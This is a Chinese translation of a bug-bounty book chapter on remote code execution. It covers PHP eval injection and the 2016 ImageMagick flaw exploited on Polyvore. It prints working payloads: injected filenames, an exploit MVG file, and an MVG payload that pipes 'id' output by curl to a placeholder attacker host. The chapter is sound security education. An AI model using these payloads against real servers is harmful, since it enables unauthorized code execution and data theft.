# 十五、代碼執行
> 作者:Peter Yaworski
> 譯者:[飛龍](https://github.com/)
> 協議:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
## 描述
遠程代碼執行是指注入由漏洞應用解釋和執行的代碼。這通常由用戶提交輸入,應用使用它而沒有任何類型的處理或驗證而導致。
看一下這行代碼:
```php
$var = $_GET['page'];
eval($var);
```
這里,漏洞應用可能使用 URL` index.php?page=1`,但是,如果用于輸入了`index.php?page=1;phpinfo() `,應用就會執行`phpinfo`函數,并返回其內容。
與之類似,遠程代碼執行有時用于指代命令注入,OWASP 區分了這兩點。使用命令駐入,根據 OWASP,漏洞應用在主機操作系統上執行任何命令。同樣,這也由不合理處理和驗證用戶輸入導致,這會導致用戶輸入傳遞給操作系統的命令。
例如 PHP 中,這可能表現為用戶輸入傳遞給`system`函數。
## 示例
### 1\. Polyvore ImageMagick
ImageMagick 是個軟件包,通常用于處理圖像,例如剪裁、縮放等等。 PHP 的 imagick、Ruby 的 rmagick 以及 paperclip,以及 NodeJs 的 imagemagick 都利用了它。在 2016 年 4 月,該庫中發現了多個漏洞,其中可利用的漏洞之一就是執行遠程代碼,這就是我關注的。
簡單來說,ImageMagick 并沒有合理地傳給他的過濾文件名稱,并且最終用于執行`system`方法調用。因此,攻擊者利益傳入命令來執行,就像`https://example.com”|ls“-la`,它會被執行。一個來自 ImageMagick 的例子是:
```
convert 'https://example.com"|ls "-la' out.png
```
現在,有趣的是,ImageMagick 為 MVG(Magick Vectire Graphics)文件定義了自己的語法。所以,攻擊者能夠創建文件`exploit.mvg`,帶有下列代碼:
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
```
這之后會傳給該庫,并且如果站點存在漏洞,代碼會執行并列出目錄中的文件。
了解其背景之后,Ben Sadeghipour 測試了 Yahoo acquisition 站點以及 Polyvore 是否存在漏洞。就像他博文中所述,Ben 首先在它所控制的本地機器上測試了該漏洞,來確認`mvg`文件是否正常工作。這是他使用的代碼:
```
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl http://SOMEIPADDRESS:80
80/ -d @- > /dev/null`'
pop graphic-context
```
這里你可以看到,它使用了 CURL 庫來調用 SOMEIPADDRESS(將其修改為你服務器的地址)。如果成功,你就會得到像這樣的響應:

Ben Sadeghipour ImageMagick 測試的服務器響應
下面 Ben 瀏覽了 Polyvore,將文件上傳為它的資料頭像,并在它的服務器上收到了這個響應:

Ben Sadeghipour Polyvore ImageMagick 響應
> 重要結論
> 閱讀是成功滲透的重要組成部分,這包括閱讀軟件漏洞和常見漏洞,以及披露(CVE 標識符)。當你碰到沒有安裝安全更新的站點時,了解之前的漏洞能夠幫助你。這里, Yahoo 已經修補了服務器,但是沒有正確完成(我找不到關于這是什么意思的解釋)。一次你,了解 ImageMagick 漏洞讓 Ben 特地以這個軟件為目標,并得到了 $2000 的獎金。
## 總結
遠程代碼執行,就像其他漏洞一樣,通常是用戶輸入沒有合理驗證和處理的結果。這里提供的例子中,ImageMagick 沒有合理轉義可能為惡意的內容。它和 Ben 對該漏洞的知識一起,讓他能夠特地尋找和測試一些漏洞站點。對于搜索這些類型的漏洞來說,沒有簡單的答案。要注意發布的 CVE,并且留意站點所使用的軟件,它們可能會過時,也可能存在漏洞。